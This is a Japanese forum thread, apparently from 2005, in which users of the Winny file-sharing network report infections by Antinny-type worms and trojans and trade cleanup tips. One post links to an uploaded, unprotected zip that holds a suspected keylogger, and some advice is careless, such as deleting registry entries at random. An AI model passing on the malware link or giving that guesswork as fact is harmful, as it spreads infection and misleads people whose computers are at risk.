ﾀﾞｳｿﾌｫﾙﾀﾞを空にしても126kbなぜかあるし
ｳｲﾙｽｽｷｬﾝも効かないし

>>438
HDDがぶっ壊れたんじゃね？

>>7の「WinnyFileDatabase」がどうやら消えてしまっているようなのですが、
どこへ行ったら見ることができるんですか？

>>440
上の方に同じような質問がたしかあった

先月、ウイルスバスター2005を入れたのですが
winny起動中に突然バスターが、winnyがポート25にアクセスしようとしてます。
と警告してきたので、パーソナルファイアウォールログを見たら
アプリケーションパス　winny.exe
説明　マスメール送信(SMTP)
となっていました。
ウイルス検索しても何も検出されなかったのですが
これはウイルス感染しているのでしょうか？

・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・

>>442
Winnyに設定してあるポートが25番なんてアホなことはねぇよな？

正真正銘のアホだな

いや、さすがにそれはないです。
SMTPのポート番号であるというのはわかるのですが
なんでそれにアクセスしようとするのかがわからないのです。

変種Winnyとか妙なパッチ当てしたやつとか使ってないよな。

safenyなら使ってるのですが・・・

>>448
ちょっと興味出てきた。

とりあえず、Winny.iniを別のフォルダに移動してからWinny動かしてみ。
それでも同じ警告出るか？

俺も興味出てきた、nyのVerを詳しく
いわゆるUp0のクラック版とかには、メール砲発射機能を持つものもあったが

質問スレでテンプレに追加予定です。
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
●「ﾒｰﾙを送信しようとしている」「外部の25番ﾎﾟｰﾄに接続しようとしている」等とFWが警告します。
→接続先のﾉｰﾄﾞがAcceptﾎﾟｰﾄ番号に本来ﾒｰﾙ用の25番を設定しているだけです。Winny.exeの
　ｻｲｽﾞ､ﾊﾟｽ等に異常がなければ特に問題はありません。が､接続は拒否しておくのが無難です。
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
http://winny.info/2ch/qa/1069664449.html#96 以降を参考に

そうか、それだけなのか…
1024ポート以下のアウトバウンドは全部閉じてるから気付かなかったYO
(いやまぁ、今は80ぐらいは開けてるわけだが)
使うなら49152〜65535にしてくれよぅ…

ネトゲのポート使ってりゃいいのに、
たまに変なポートを使う奴がいるからな。

>>451を見て安心しました。
とりあえずwinnyを起動させるときは25番の送信を拒否の設定にしていたのですが
一応これからもそうしときます。
みなさんお騒がせしましたm(_ _)m

うーん、俺 20 番使ってるけど変えるべき？

>>455
Wellknownポートはやめておいたほうがいいと思われ。

でもさー。WellKnown でなかったら一々変えないと
ログ見ただけで怪しいってモロバレじゃん？
その度にルータの設定も変えるの面倒いよ…。

>>457
だったら最初から質問するな

　　　　　　　　　　　　r -、,, -　、　クマ−
　　　　　　　 __ 　　　ヽ／　　　　ヽ__　　
　　　　　　 ,"- `ヽ,　/　●　　　　 l　）　
　　　　　／　　●　＼__　(●　●　i"　　
　　　 __/　　　●） 　 　 ￣ ）"__　"`;　　　　
　　.（_i　 ● 　 　' __, '" ￣`'（__＿／.i⌒i　　
　　　　丶_ ,i⌒i,,_（_/　　　　● i￣￣ ）_|__　
　　__, '"　　￣　ヽ!　● _●)　 ミ~￣_● ヽ）　クマー
　（_/　　　　　● i　　　 ∪　　/ ⊂{●　 |.
　　 l　●( _●)　（ ￣）-　 　　/　　　-' 　i
　／ヽ、 　 |∪l　　 T　　　 　　i 　 　 ● '"）
クマ−　

>>457
バレで困るような回線を使ってP2Pするほうがおかしい。

WMVファイルを装うトロイの木馬、P2Pソフトで流行中〜DRMを悪用
http://internet.watch.impress.co.jp/cda/news/2005/01/11/6001.html

(((((((( ；ﾟДﾟ)))))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙｶﾞﾀｶﾞﾀﾌﾞﾙｶﾞﾀｶﾞｸｶﾞｸｶﾞｸｶﾞｸｶﾞｸ

KazaaやeMule使ってる？

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

WMVなんて初めから怪しいし
DRMはふつうにOFFっておけば問題ないかと

ＤＲＭってどうやってＯＦＦできるの？

>>466
暇だしネタもないのでマジレス（WMP9）
Windows Media Playerのメニュー[ツール］→[オプション]
タブ[プライバシー］で
□保護されたコンテンツのライセンスを自動的に取得する
↑このチェックを外す

ほかにも、インターネット接続とか、不足してる情報の取得とか
コーデックの自動ダウンロードなども、すべてのチェックを外しておいたほうが安全。

FWで通信を遮断させておくってのも手かな？

>>468
結果オーライだけど、FWログがうざくなるかな。

>>467
サンクス

>>461,467
トンクスです(*'ー'*)

これはどこのウイルスだろ、
お願いします！！
http://pc5.2ch.net/test/read.cgi/sec/1100694691/

クマー

海外の割れインスコしたら
OSのファイルが書き換えられたorz
今OSをクリーンインスコ中

こうしておまいのIPがアングラに流れ、踏み台への準備が整った。

キャッシュが勝手に消えていくウイルスに掛かったのですが、
駆除方法ありますか？

>>476
>>2

>>476
>>1
先ず、ここは初心者の質問・救済スレではありません。（これ大事）

age

>>461
トレンドマイクロ
Pattern Version: 2.345.00
USER_TYPE.WMV

こいつかな？

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

プログラムに埋め込まれたウイルスって
ウイルスソフトで検知できるもの？
また、駆除できんの？

おひょひょひょひょ

くしゃみして左クリック

Windows Media DRMを悪用したトロイの木馬が登場
ttp://www.itmedia.co.jp/enterprise/articles/0501/12/news025.html

マイドキュメントを詰め合わせるキンタマの対策として、
マイドキュメントを使わないようにしています。

これって…
マイドキュメントのターゲット先を替えるだけじゃだめですか？
ターゲット先を替えるのではなく、何の関係の無いフォルダを使ってると
ファイル保存の時にたまに不便だったりするんですよね。
例えば「ペイント」で保存しようとすると「マイピクチャ」が必ず開くとかで。

XPHomeで共有PCにしてる人なんかは、マイドキュメントは重宝するでしょうし。
私は共有PCにはしてないので、こっちは問題ないんですが。

インスコって何ですか？

コピーってゼロックスですか？

クリンインスコも教えて

くっ、案外と手強いな・・・　orz　ﾏｹﾀ

worm.antinny.Rに感染したが、OSがWindowsMeだったので発病しなかった。

>>481
ひっかからないんで、キーワードも教えて。

オッス！おら○○（ユーザー名）！
それよりオラビックリしたぞ、亀仙人のジッちゃんからもらったWinnyってアイテム、
ネットに繋いでおくだけで、いろんなゲームやアプリがタダで手に入るんだ。
ドラゴンボール集めてるよりずっとおもしれぇーぞ！
公開前の映画まで流れてるんだから、ホントたまげたよなぁ〜
いつも落としてばかりじゃ悪いから、オラもファイルをアップするぞ！
まだまだWinny初心者だけど、これからもじゃんじゃんアップするから、
オラにみんなのファイルを分けてくれ！

↑これって感染してる人が撒いてるの？

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>486
俺もマイドキュメントは使っていない。
が、プロパティでリンク先を変えるのはどうなんだろう、と丁度思って今日スレ見てみた。
レスが無い（スルー？）ようなので、無い知恵絞って考えた。
C:\Documents and Settings\ユーザ名\My Documents
がデフォルトパス。

１．ウイルスがマイドキュメントフォルダを特定する時、ユーザ名部分を特定して攻撃。

２．マイドキュメントのターゲットフォルダの場所を特定して攻撃。

１の場合は回避できるが、２だとリンクを辿られている為に回避できない。
ウイルスの内部処理がどちらなのか結局わかりません。助けてください。

自演乙

実験にもなってないけど、マイドキュメントにセーブデータを置くタイプの
ゲームを起動してみた。
これは>>495の２に該当しているようだ。
ということは（ウイルスにもよると思うが）ターゲット変更しただけでは
被害を食い止められないことが多いんではないだろうか？

【使用OS】 Me
【WindowsUpdateしてるか】 はい。
【AntiVirusは】ノートン 2004
【ちゃんとUpdateしてるか】 はい。
【症状か具体的に、分かる限りすべて書く】

突然ノートン2004のボタン類が「改変」だらけになって操作できなくなりました。
アンインストールして入れ直せと出たのでそうしましたが
「改変」だらけの理由はわかりませんでしょうか？　ウィルスに何かされたんでしょうか？
入れなおしたノートンが反応しなければ、このままでいいのですか？

【Winnyのﾊﾞｰｼﾞｮﾝ】 1.14

【何をしたらそんなことになったのか】
こころあたりとしては、nyで「キャシャ―ン」を落としてうっかり再生しました。
後でスキャンしたら「トロイのなんたら」が発見されて削除しました・・・

【これまでにとった措置】
アンインストールして入れ直してスキャンしました。
入れなおしたノートンが反応しなければ、このままでいいのですか？
今の状態から何か情報を盗まれるとかの心配はあるのでしょうか？

> 突然ノートン2004のボタン類が「改変」だらけになって操作できなくなりました。

意味不明
君は自分の目でみたから、それで何が起こったか説明できたと思うのだろうけれど
何も知らない人がこの文章を見ても何がなんだかわからない

まぁそんなことはどうでもよくて。
そのキャシャーンのファイルが今もあるのなら解析も可能だが削除してしまった以上
再インストールするしかない、としか言えない。
サンプルが存在しない未知のウイルス類に対する完璧な対処法はこれしかない。

ノートンなんてのはPCを普通のことに使ってる人にとって有効なのであって、
この板にいるような人間には補助以上の役割は果たさないので
> 入れなおしたノートンが反応しなければ、このままでいいのですか？
などとはまかり間違っても考えないように。

あと多分AVIアイコンのexeなんだろうから、今後どんな挙動を示すかは作者しかわからない。

> 突然ノートン2004のボタン類が「改変」だらけになって操作できなくなりました。

たぶん、なにかが書き換えられて使用者としての確認が取れなくなって
使用不可になったからだと思うのですが・・・

>>501
補足説明にすらなってない
相変わらず第三者には意味不明だ

>>499の言うとおり再インスコ汁
個人的にはクリーンインスコ推奨だ

インスコって何ですか？

>>503
ttp://www.yomiuri.co.jp/net/yougo/20041108yo01.htm
おれいいやつだな。

>>503
インポテンツ・スコピック

>503
Internet Scorpion
ﾈｯﾄに蠍のように潜む罠の事だ。

うわ、こんなage質問にﾚｽがついてる・・・

みなさん、お暇なんですね（´-`）

おまえもな

>>495-496
あぁ、レスありがたい。

その実験とても参考になりました。
やっぱりターゲット先を読みに行ってるんでしょうね…。
その方がどう考えても効率良いですもんね(^_^;

なので私は全く別のところにマイドキュメント相当のフォルダを作って、
マイドキュメントにそのフォルダへのショートカットを置くことにしました。
クリック数が１回増えるんですが…
「名前を付けて保存」画面などの弄り方が分からないので…。

あと関係ないのですが、
以前デスクトップに20GBくらいのデータを置いてたんですよ（かっこわるい）
後でキンタマに感染していた事に気づいたのですが、
HDDの空き容量が5GBくらいしか無かったため、詰め合わせは作れなかったようです。
更に、詰め合わせだけではなくSSもキンタマが作ったフォルダには入っていませんでした。
多分なにも放流されていません。こんな予防法もあり…かも(^_^;

>>495-497
の間違いでした…。

あと皆さんにもうひとつお聞きしたいのですが、
.txt等、特定の拡張子のファイルを位置関係なくあら探しして詰め合わせるような
ウイルスは存在してますか？
>>498
なんかを見て、もはやなんでもアリな気がしまして…。

＞もはやなんでもあり
antinnyに関しては作者側もここ見て反応を参考にしてるだろうし、
これは困るという要望に応じて、どんどんカスタマイズされていくと
考えておかなきゃだめだぞ

>>510
必死なとこ悪いが、置き場所に凝っても無駄だよ

俺が恐いｳｲﾙｽは、踏んだら金が儲かるｳｲﾙｽだな・・・

そんなｳｲﾙｽがあったら、とても恐くてｶﾞｸﾌﾞﾙだぜー　(((( ；ﾟДﾟ)))

>>509
窓の手とか使えば、プレースバーに任意のフォルダ登録して移動しやすくしたりはできるぞ
最初から任意のフォルダを常に開くようにはできないが。

もしご存知の方がいればお教えください

キンタマでメールを放流する奴って拡張子が「.dbx」のメールデータを放流するのか？
それとも「.eml」のe-mail メッセージを放流するのでしょうか？
「.eml」はバックアップすれば削除可能のようですが「.dbx」は削除できないようです
あと何か対策などご存知の方がいればお教えください
ちなみにメールソフトはOEです
OE使わなければ抜かれることもないのでしょうか？

>>515
有名所の拡張子は全てターゲットだと思っとけ

漏洩対象か上書対象かの別はあるだろーけどな

>>511
あっ…そうですよね。ごめんなさい(^_^;

>>512
それって…
位置関係なく指定拡張子のファイルを詰め合わせるような
ウイルスがすでにあるってことですか…？

>>514
ありがとうございます。
早速やってみました。助かりました･ﾟ･(ﾉД`)･ﾟ･｡

>>517
512じゃないんだけどな、
確か「晒し挙げ」の漏洩対象は全ドライブ検索ｼﾞｬﾏｲｶ？

ウイルス怖い奴は別にP2P専用マシン組めって。
一度流出した情報や信用は二度と回収できないぞ。

>>518
晒し挙げのウイルスってAntinny.kですか？
MyDocumentsも詰め合わせるだけだと思ってました…(ﾉД`)

>>519
やっぱり、それが１番ですか…。
どれくらいコストかければ必要充分な専用機が組めるでしょうか？
前にそんなスレがあった気も…なんでしたっけ…。

>>520
っでいつまで質問続ける？

あぁつい…ストップします…

空気を読める人でないと（掲示板を使うのは）難しい

>>8-12を熟読するようにな
仙台系の詰め合わせは、結構凝ってたからなぁ
しかし、最近はあからさまな新種は減ってきたのかな

>509
まぁもちつけ。
俺はwhiterの亜種にかかってガリガリッと音がしたので
タスクマネージャからウイルスをすぐストップ。
が、マイドキュメントフォルダ全消し＆Dドライブ消されかかってた。

Dドライブの名前順に一つ一つ上書きして消していくらしいので、
D:\_01\　とかいうディレクトリに山ほどフォルダあるブツ（2chのログとか）を
10GBくらい置いておけば、ある程度全消しの予防は出来るみたいだね。

>>520
つwinny用のマシンを自作するスレ11
http://tmp4.2ch.net/test/read.cgi/download/1104195243/

けっこう的外れなこと言ってたのに…皆優しい･ﾟ･(つД｀)･ﾟ･

>>524
…ごめんなさい。Antinny.Gがそうなんですね。
既出の内容を何度も質問して、申し訳ないです。

>>509
なるほどです。異音が出るなら間に合いそうですね。
早速置いておきました。
でもなんでwhiterはCから順番に消さないんでしょう…。

>>526
あっ、どうもですm(_ _)m

509じゃなくて
>>525

でした。全然落ち着いてない…。

>>527
全レスしちゃうような善人・小心者はny止めろｗ

どうしてもやるなら自分でも書いてるが
ﾏｲﾄﾞｷｭﾒﾝﾄ相当のﾌｫﾙﾀﾞ作成、ﾃﾞｽｸﾄｯﾌﾟにﾌｧｲﾙ置かないなど、
ウイルス対策になると思ったことは書かれてなくても考えてしろ。

誘導されてるけどそこまでビビってるならny専用機組め。
6万あれば組める。
HDD2台追加すれば1つはDL専用、
もう１つをﾘﾑｰﾊﾞﾌﾞﾙで、いっぱい落としても楽々管理できる。

Cから順番に消さないのは

・大抵消えて欲しくないデータはCではなくD以降にある
・Cでファイルを消しすぎるとOS自体が機能しなくなるため「消す」こともできなくなる。

のどっちかが多いんじゃないかと思う。
まぁなんつっても作ってる奴の趣味だろうけどな。どこから消すかなんて。

>>529-530
アドバイス＆お答えありがとうございます。
勉強になります。このスレの皆さん本当に優しい方ばかりです…。
甘えて質問ばかりでスレを埋め尽くさないように、気をつけたいと思います(^_^;

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>532
ビューアはな〜に？

>>533
ﾋﾞｭｰｱっていうか、ｗｉｎｒａｒで中身ﾁｪｯｸです

>>532
あ、俺もWinRARで中身見ようとしたらそんなメッセが出た
ウィルスは検出されんかったけど、そのトリップのはなんか怪しいから即消ししちゃった

1台しかＰＣ無くて不安ならＵＳＢメモリを買ってきてｎyの実行ファイルをそん中に入れとけ。

当然ライトプロテクト（書込み禁止）のスイッチをＯＮにしてな。



そうすれば踏んでしまったときにプログラムが改ざんされる事はなくなる。
ＵＰフォルダのテキストファイルも書き換えられることもないし。


で使わないときはＵＳＢメモリを抜く。


まぁプロセスに割り込んで直に動作を送るタイプだったら意味無いんだが

>>536
Winny以外のOSとかデータ消すようなトロイには全然意味無いと思うが．．．

>>535
拡張子ｊｐｇだし、中身も本物っぽいんだけどね・・・
俺も気持ち悪いから、本体は捨てた

ｷｬｯｼｭは、とりあえず保持してます・・・

他の解凍ソフトではどうなるんだろ

>>532
自分で jpgファイルを RAR書庫にして、同じようにビューワーで見てみればいいのに。
そうすれば RARにそのビューワーの組み合わせだと、そのようなメッセージが出て正常かが分かると思うぞ。

>>539
ｽｷﾙが無いので、winrar以外では、怖くて・・・

>>540
ﾋﾞｭｰｱじゃなくてｗｉｎｒａｒで中身を確認すると、ﾒｯｾｰｼﾞが出ました。（>>534）
混乱させて、すみません。

元ﾌｧｲﾙはzipです。

いや、だからな
拡張子がzipでも、ファイルが実はrarの場合に
winrarでjpeg梱包したのを見ると、そうなるのよ。
winrarのtempフォルダ見てみりゃ分かるんだが
拡張子jpegってのをjpgにしてるからな。仕様だつーの

>>542
試してみたけど、ならないですよ・・・　ｏｒｚ

>>543
じゃあフィニッシュ！

>532
書庫が少し変なだけ
気になるなら解凍してから再度書庫に変換しな
問題なし

>>532
俺もそれかはどうかわからないけど
同じ同人誌落とした　でトレンドさんのスキャン
やったらウイが入ってたよ
でも解凍駆除したし、そのあとフォルダ、ドライブをスキャンしても無反応
jpｇは本物だったから大丈夫。

つーかさっさとGO BACK落とせお前ら。

新種？
【使用OS】 Windows XP
【WindowsUpdateしてるか】してます
【AntiVirusは】 いれてない
【オンラインスキャンしたならその結果は】 みつからず
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0 b7.1
【症状か具体的に、分かる限りすべて書く】
　一応何の変化もありません。
　キャッシュの中身もダウンもアップフォルダも
　変わりありません。
　ただ、プロセスにMSKernel32.comというプロセスが
　増えたような気がします。
【何をしたらそんなことになったのか】
　耳をすませば　大塚愛　aiko.zipというファイルを解凍
　中にあった重要.txt　　　　　　　　　exeを
　テキストと間違えて起動orz
　
　一応メモ帳の画面で
　京都警察が〜〜みたいな文面が表示されました。
【これまでにとった措置】
　オンラインスキャン
　MSKernel32.comをプロセスから終了　
　MSKernel32スタートアップから削除

　ファイルそのもののハッシュとかは分かりません。
　でもまだファイルは手元にあります。
　ファイル作成日も１月１２日で新種かもしれない。
　助けてえらい人
　

【AntiVirusは】 いれてない

この時点で論外なんだが、いまどき二重拡張子に引っかかるとか、
ファイル作成日偽造も知らないやつがここに来ても意味が無い。
テンプレまとめを全部熟読＆実行してから、またおいで。

釣り？

【使用OS】 XP
【WindowsUpdateしてるか】 はい。
【AntiVirusは】ノートン
【ちゃんとUpdateしてるか】 はい。
【症状か具体的に、分かる限りすべて書く】
ゲームの予約特典ディスクをおとしてウイルスチェック→みつからず
予約特典.exe実行→「捏造です、せっかくだからウイルス入れときます。ﾌﾟｯ」
とメッセージ、ネットには接続していなかったのでとりあえずチェック→何も見つからず
怖いので違うパソから現在書き込み中
しかし、何にも症状が現れないからかえって怖い
よってこれから再インスコ
みんなも気をつけて

脅しじゃねの

>>551
それくらい臆病なほうが、この世界では長生きできる。

>551
どうせハジを晒すなら、何のゲームの予約特典かおかあさんにわかるように
じっくりと語ってみてはどうだろうか？

>>548
どこかにウpして、俺みたいな退屈してる解析趣味人の対応を待つべし

>>551
人工少女２だな。

単なる脅しだと思うが。
前にVMで検証したことがあるんだが、レジストリ改変は無かったはず。

俺も去年の大晦日に　>551踏んじまったけど
わざわざウィルスですよなんて言うウイルスソフトなんてねーだとと思ったので
放置しといた。別に今まで何もないよ

こんなもん作って何が面白いんだろな。

掛かったﾔﾂが掲示板に書き込んでるのを見てﾌﾟｹﾞﾗｹﾞﾗｹﾞﾗ

非公開のプライベート掲示板に個人情報ぶっこ抜きでﾌﾟｹﾞﾗ(ry

便所

恋の病にかかってみたい

肥えの病？

故意の病？

・・恋なんてどうでもいいよ

普通に結婚できればいい、めんどくさい。

>>549
やっぱりアンチウィルスいれておくべきでした。
拡張子に引っかかるなんて・・・orz
>>555
一応２ちゃんうｐロダに上げてみました
なんか普通のウィルスだったらスイマセン

ttp://up.isp.2ch.net/up/9fed1eac940d.zip

>566
一応でもパス付きにしとけよ
詳しくは解らないけど、DUMPした分にはトロイっぽい記述があるかも

>>565
､ﾊ､ﾇｷ?ｺｧ､ｷ､ｿ､､､ﾎ､ｫﾊｹ､ｭ､ｿ､､

､ﾊ､ｫﾀ､､ﾎﾃ讀ｿ､､､ﾆ､､､ﾎｿﾍ､ｬｷ?ｺｧ､ｷ､ｿ､､､ﾟ､ｿ､､､ﾀ､ｱ､ﾉ｡｢ｷ?ｺｧ､ｹ､?､ﾈ､ﾊ､ｫﾎﾉ､､ｻｬ､｢､?､ﾎ｡ｩ
ｲｿ､ｫｲｶ､ﾎﾃﾎ､鬢ﾊ､､｡｢･ﾇ･皈?･ﾃ･ﾈ､蟯?･皈?･ﾃ･ﾈ､ｬ､｢､?､ﾀ､�ﾀｦ､ｫ

>>568
禿同

>>568
読めねーよ。

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>571
そのウイルス部分だけを抽出してパスロックかけたあと、どこかの
うpろだに上げてください。

>>566
むーん。ダンプイメージは、Unicodeだと日本語のメッセージがボロボロ
入ってるが…。キーロガーを作ろうとして大失敗っぽいな。
コールしてるプロセスを見ると、ログをSMTP経由でどこかに飛ばすようだが…
これじゃまともに動かんだろ。

一応、先生に送っとくか

>>568
メリットとかデメリットじゃなくてみんなしてるから

>>566
さっさと消せと。
パスがかかってなかったから落としただけでNODが反応したね。

あ、ここ消せないのか…。

>>567 573
解析ありがとうございます。
まともに動かないのなら安心です。
でも怖いので再インスコしましたが。

>>575
すいません　消せませんでした。。。
パスかけて上げる、必要ももう無さそうなので
このまま放置したいと思います。

なぜパス掛けて上げなければいけないかの重要性を認識していらっしゃらないご様子
自己中な奴

【使用OS】 Windows XP
【WindowsUpdateしてるか】 している
【AntiVirusは】 していない
【オンラインスキャンしたならその結果は】 Virus Chaser使用 Win32.HLLW.Antinny.12
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0b 7.1
【Winny歴、総DL量は】 不明
【テンプレを読んだか】 読了
【テンプレにある対策を実行したか】 実行
【症状か具体的に、分かる限りすべて書く】
Virus Chaserを使用して駆除したが、regedit.exeが元に戻らない(Notepadのまま)
【何をしたらそんなことになったのか】 不明、おそらくアイコンに引っかかったと思われる
【これまでにとった措置】
Virus Chaserを使用して駆除、ny削除、可能な限りの>>8テンプレの指示に従った行為

馬鹿の尻拭いをやらされているPC中級者…と勝手に思われているものです。
どうかお力をお貸し下さい。

>>579
テンプレサイト
ttp://www.geocities.jp/kemkzuenc/Antinny.html
のFAQ４なんか、どう？

その前にAntiVirusを使ってない理由を述べろ

>>580
ありがとう御座いました。夜中に気が急いていたのか、見落としていました。
見たところregedt32.exeもノートパッドでしたので、これも修正の必要が。気付いてよかったです。
>>581
キンタマ踏んだ馬鹿が金をケチって入れてなかったそうです。
「定期的にオンラインスキャンしてればいいと思ってた」(本人談)とか抜かしくさりよりました。

ウイルスにやられてから、
オンラインスキャンで「やられた！！」ってことですね。
能率いいですね。

テンプレしっかり埋めてきてるなら、「友達に聞かれた」とか
「本人談」とか正直どうでもいい。つか、遠隔操作でウイルス
退治するくらい、もどかしいものはない。

本人に直接ここに来るように言ってくれ。

【使用OS】 XP
【AntiVirusは】 ノートン
【スキャンした結果】 antinny.G
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0b 7.1
【これまでにとった措置】 exeをダブクリの直後、ノートンでスキャン→該当を削除。
　　　　　　　　　　　　regeditは無事。

＞Q.レジストリ、HKLM\SOFTWARE\Microsoft\ Windows\CurrentVersion\Runでどれを消せばいいのかわかりません
＞A.ここのリスト参照、もちろん怪しいのは削除
＞　http://higaitaisaku.web.infoseek.co.jp/iru.html
　↑が403 Forbiddenなのですが
どういうのが怪しいのか教えてください。

"<ランダムに選択されたプログラムの名前>"="<ワームのパス>" (/logon, /start, /autorun, /startup のうちいずれかのオプションが付きます。)
だそうですが、
名前・・・NvCplDaemon
データ・・RUNDLL32.EXE C:\WINDOWS\system32\NvCpl.dll,NvStartup
なんてのは違うんでしょうか。

rundll32.exeは通常のシステムファイルだが、
ワームなりウイルスが上書きしてる可能性もあるな。
試しに消してみたらいいんでないの？
結果、OSがアボンしても知らん。

>>585
質問テンプレは省略すな
それにこの質問は>>1を読んだ上での狼藉なんだろうな？

措置の質問は既出
過去ログも読まない奴は放置推奨

【使用OS】 XPホームエディション
【WindowsUpdateしてるか】 はい。
【AntiVirusは】 ウイルスセキュリティを使ってました…
【ちゃんとUpdateしてるか】 はい。
【スキャンした結果】 雑誌の付録のAVGを試してみたらAntinny Kが山ほど出てきました。
【オンラインスキャンしたならその結果は】 AVGでKはKは削除できたみたいです。
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0b 7.1
【Winny歴、総DL量は】 １２／20日くらいからはじめました。
【テンプレを読んだか】 はい
【テンプレにある対策を実行したか】 再パーティションをしてインストールし直しました。
【症状か具体的に、分かる限りすべて書く】 CPU使用率が100％に。CDの書き込みが失敗する。ｌ
【何をしたらそんなことになったのか】 拡張子の表示をしてなかったので、踏んでしまったんだと思います。
知らない間にUＰフォルダが出来ていて音楽名のアイコンが4つぐらいあり、クリックしてしまいました。
【これまでにとった措置】 再パーティションをしてインストールし直しました。

知識が足りなくて感染してしまいました。
アップフォルダに詰め合わせやJPGができていなかったなら情報の流出はないのでしょうか？
それと、１／１より前にクリーンインストールしたのですが、大丈夫でしょうか。
ぜひ教えてください。

>>589
情報流出おめ(・∀・)

>>589
流出の可否は、自分で(ユーザー名とかで検索)地引でもして確かめるしかないよ
100%安全なんて誰にも応えられない

パーティションぶった切って再インスコしたのにまだ異常なのか

流出したかどうか俺が代わりに調べてあげても良いよ？

よせ

【使用OS】 win2000
【WindowsUpdateしてるか】 してます
【AntiVirusは】 してません
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0ｂ7.1
【Winny歴、総DL量は】一ヶ月弱です。DL量は1Gくらいです。
【テンプレを読んだか】 はい
【症状か具体的に、分かる限りすべて書く】CPU使用率が100％になる。winnyフォルダ内に
　upフォルダが作成された。HDDの空き容量がどんどん減っていった。
【何をしたらそんなことになったのか】.exeをうっかり実行してしまいました
【これまでにとった措置】パニックになってwinnyフォルダごと削除してしまいました

　フォルダを削除したら症状は収まりました。焦って、スキャンする前に削除してしまったので
どの種類に感染したかも分かりません。これでもう情報流出の恐れはないのでしょうか？
教えて下さい。

>>595
再びｎｙを使ったらまた同じことになる。
それとメール欄にsageと記入して書き込むように。

>>595
消したなら、もう情報流出の恐れは無いかもしれんが、それ以前のは流出済みだろう

情報流出おめ(・∀・)

【使用OS】 XP
【WindowsUpdateしてるか】 YES
【AntiVirusは】 Norton2002
【ちゃんとUpdateしてるか】 YES
【スキャンした結果】 W32.HLLW.Antinnyが1つ
【オンラインスキャンしたならその結果は】 今やってる途中
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0b7.1
【Winny歴、総DL量は】 1年−100Gくらい
【テンプレを読んだか】 YES
【テンプレにある対策を実行したか】 YES
【症状か具体的に、分かる限りすべて書く】 貯めていたキャッシュが全て消滅。Upフォルダが消しても消しても作られる。
中身は、落とした覚えのない？の付いたロボットらしき物体のアイコンが付いたLZHファイル。
しかしUpフォルダが作られているはずなのに、実際のwinnyのフォルダにはUpフォルダ存在せず（隠しファイルになっている模様）

【何をしたらそんなことになったのか】 コッチが聞きたい・・・あ〜でも今まで普通に解凍する際exe踏んでたなぁ(´･ω･`)
【これまでにとった措置】 とにかくスキャンして引っかかったファイルの削除のみ。

>>598
うはははははｗ

Winny関連だけでなく文字通りすべて全ドライブのファイルが消された
こんなウイルスってあるの？まじびびった

普通にありますが何か？

【使用OS】XP
【WindowsUpdateしてるか】yes
【AntiVirusは】ウィルスバスター
【ちゃんとUpdateしてるか】yes
【スキャンした結果】ANTINNY_A, ANTINNY_G, ANTINNY_I, PE_Parite_A27個
【オンラインスキャンしたならその結果は】
【Winnyのﾊﾞｰｼﾞｮﾝ】2.0b7.1　と1.14（昔数回使った）
【Winny歴、総DL量は】2年前ぐらい（実際頻繁に使っていたのはここ1年のみ）　10Ｇ
【テンプレを読んだか】yes
【テンプレにある対策を実行したか】yes
【症状か具体的に、分かる限りすべて書く】自覚症状はありません
【何をしたらそんなことになったのか】フォルダアイコン型の.exeを実行したため
【これまでにとった措置】
VBが駆除してくれたPE_Parite_A以外は全て削除しました。ダウンフォルダを残して
nyフォルダを削除しました。レジストリエディタを開き/startup となっているものを一つ削除しました。
antinny killerというソフトではレジストリから感染は見つかりませんでした。
del_nullpo.regをＤＬし実行しました。
C:\Program Filesの.exeを検索しましたが、フォルダ型のexeは見つかりませんでした。
TempフォルダにNy.exeはありませんでした。WIN.INIに
[hoge]
hugo=<Winny ファイル共有プログラムのパス>
があったので消しました。このパスが、感染時期以前にしか使用していない
1.14バージョンの方になっていました。2.0b7.1でウィルスをＤＬして
1.14バージョンが感染するということはあるんでしょうか？
感染以降2.0b7.1しか使用していないので個人情報は流出していないということでしょうか？
よろしくおねがいします。

>>600
Whiterだろ
かなり有名なウイルス、亜種が大量にあってノートン先生では発見できないのが多い

>>602
よろしくおねがいされません


だからな
個人情報の流失の有無なんて、流したやつ以外にはわからんだろーが。
nyだけじゃなくて、いろんな経路で流れるもんだ。確認のしようがないつーの。

ウイルスだかよくわからないので報告です
【使用OS】XPsp1
【WindowsUpdateしてるか】してる
【AntiVirusは】ノートン
【ちゃんとUpdateしてるか】してる
【スキャンした結果】検出されず
【オンラインスキャンしたならその結果は】まだしてない
【Winnyのﾊﾞｰｼﾞｮﾝ】2.0 b7.2
【Winny歴、総DL量は】１ヶ月くらい
【テンプレを読んだか】読んだ
【テンプレにある対策を実行したか】対策無し
【症状か具体的に、分かる限りすべて書く】Ｃドライブを分析するとレジストリが断片化されまくっている。
（その後ネットに繋がらなくなりOSも起動不能に？
【何をしたらそんなことになったのか】nyやってた
【これまでにとった措置】最適化

一応、推奨無視リストを入れ.exeなどは実行していないし、落としてすらいません。またダウンしたのは必ずノートンでチェックしてました。
前に同じ症状が出た時はその後にネットに繋がらなくなり更にOSが起動しなくなったためリカバリしました。
今はネット切って色々調べてます。
これはウイルスの仕業ですか？それともただの偶然ですか？
ちなみにnyをやるまえはレジストリの断片化などほとんど無かったです。

レジストリの断片化って何だそりゃ

↑バージョンは7.1の間違いです。

zipで圧縮されてる写真集をDLしました。
ノートンでスキャンしたらzipがW32.AntiWinnyに感染してるというので
ノートンで駆除しました。
駆除し終わったzipを消去せず再度スキャンするとウイルスを取り除いた
みたいで（駆除）何の報告もないので、解凍して
出てきたjpgのファイルをそのままHDDに保存しようと思ってるのですが
